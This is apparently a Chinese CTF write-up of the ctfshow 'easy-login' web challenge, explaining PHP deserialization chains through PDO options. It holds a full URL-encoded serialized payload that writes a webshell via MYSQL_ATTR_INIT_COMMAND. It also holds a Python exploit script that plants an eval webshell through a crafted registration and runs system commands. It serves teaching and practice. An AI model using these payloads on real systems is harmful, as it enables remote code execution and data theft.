ctfshow元旦水友赛web-easy-login

发布时间 2024-01-05 17:23:37作者: cyyyyi

easy-login

这个题群主在出红包题的时候发过了,当时侥幸拿了一血,但群主说非预期。这次放出来预期解,简单学习一下。

非预期

前面找链子大家应该都能找到,就不说了。

关键代码如下

class mysql_helper
{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct()
    {
        $this->init();
    }

    public function __wakeup()
    {
        $this->init();
    }


    private function init()
    {
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****', //敏感信息打码
            'password' => '****', //敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo()
    {
        try {
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        } catch (PDOException $e) {
            die('数据库连接失败:' . $e->getMessage());
        }

        return $pdo;
    }
}

option参数可控,本想mysql恶意文件读取,但是有__wakeup限制,不能连接远程服务器。查阅文档 发现另一个参数

image-20230819114320878

可指定在连接mysql时执行的语句,故into outfile写马即可。

pop链构造如下

<?php

session_start();
class mysql_helper
{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;'  into outfile '/var/www/html/3.php';"
    );
}
class application
{
    public $mysql;
    public $debug = true;

    public function __construct()
    {
        $this->mysql = new mysql_helper();
    }

}
$_SESSION['user'] = new application();
echo session_encode();

最终payload,打了之后访问3.php即可。

/index.php?action=main&token=user|O%3a11%3a"application"%3a2%3a{s%3a5%3a"mysql"%3bO%3a12%3a"mysql_helper"%3a1%3a{s%3a6%3a"option"%3ba%3a1%3a{i%3a1002%3bs%3a57%3a"select+'<%3f%3d`nl+/*`%3b'++into+outfile+'/var/www/html/3.php'%3b"%3b}}s%3a5%3a"debug"%3bb%3a1%3b}

预期解

import requests
import time
# Author:ctfshow-h1xa

url = "http://xxx/"

def step1():
    data={
        "username":"userLogger",
        "password":"<?=eval($_POST[1]);?>.php"
    }
    response = requests.post(url=url+"index.php?action=do_register",data=data)
    time.sleep(1)
    if "script" in response.text:
        print("第一步执行完毕")
    else:
        print(response.text)
        exit()

def step2():
    data="token=user|O%3A11%3A%22application%22%3A6%3A%7Bs%3A6%3A%22cookie%22%3BO%3A13%3A%22cookie_helper%22%3A1%3A%7Bs%3A21%3A%22%00cookie_helper%00secret%22%3Bs%3A20%3A%22ctfshow_36d_boy_h1xa%22%3B%7Ds%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A2%3A%7Bs%3A16%3A%22%00mysql_helper%00db%22%3Ba%3A7%3A%7Bs%3A3%3A%22dsn%22%3Bs%3A55%3A%22mysql%3Ahost%3D127.0.0.1%3Bdbname%3Dblog%3Bport%3D3306%3Bcharset%3Dutf8%22%3Bs%3A4%3A%22host%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bs%3A4%3A%223306%22%3Bs%3A6%3A%22dbname%22%3Bs%3A4%3A%22blog%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22root%22%3Bs%3A7%3A%22charset%22%3Bs%3A4%3A%22utf8%22%3B%7Ds%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A19%3Bi%3A262152%3B%7D%7Ds%3A9%3A%22dispather%22%3BN%3Bs%3A5%3A%22loger%22%3BO%3A10%3A%22userLogger%22%3A3%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A20%3A%22%00userLogger%00password%22%3BN%3Bs%3A20%3A%22%00userLogger%00filename%22%3Bs%3A10%3A%22..%2Flog.txt%22%3B%7Ds%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A10%3A%22dispatcher%22%3BO%3A10%3A%22dispatcher%22%3A0%3A%7B%7D%7D"
    response = requests.get(url=url+"index.php?action=main&token="+data)
    time.sleep(1)
    print("第二步执行完毕")

def step3():
    data={
        "1":"system('whoami && cat /f*');",
    }
    response = requests.post(url=url+"log.txt_-%3C%3F%3Deval(%24_POST%5B1%5D)%3B%3F%3E.php",data=data)
    time.sleep(1)
    if "www-data" in response.text:
        print("第三步 getshell 成功")
        print(response.text)
    else:
        print("第三步 getshell 失败")

if __name__ == '__main__':
    step1()
    step2()
    step3()

可以看到是先注册了一个用户名userLogger ,密码<?=eval($_POST[1]);?>.php的用户,然后触发反序列化,写入日志马,然后拿到shell。

其实关键的地方和非预期一样,也是序列化时的options参数,

key为19,value为262152.

19即为 PDO::ATTR_DEFAULT_FETCH_MODE,其值指定了数据库的结果(和数据库没关系)如何返回给调用者,其实是指定了PDOStatement::fetch函数的model参数。

model参数可以由两部分组成,高2字节可以指定ftech_flag,第2字节指定了fetch_type.具体如下

image-20240105145922019

2621520x0040000+ 0x08 ,也就是对应PDO_FETCH_CLASSTYPE | PDO_FETCH_CLASS ,即将结果的第一列做为类名, 然后新建一个实例。

在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set

方法。属性初始化结束后,最后还会调用一次 __construct方法。

所以,username注册为userLogger其实指定的是类名。password中包含一句话木马,以.php结尾,最后生成一句话木马文件。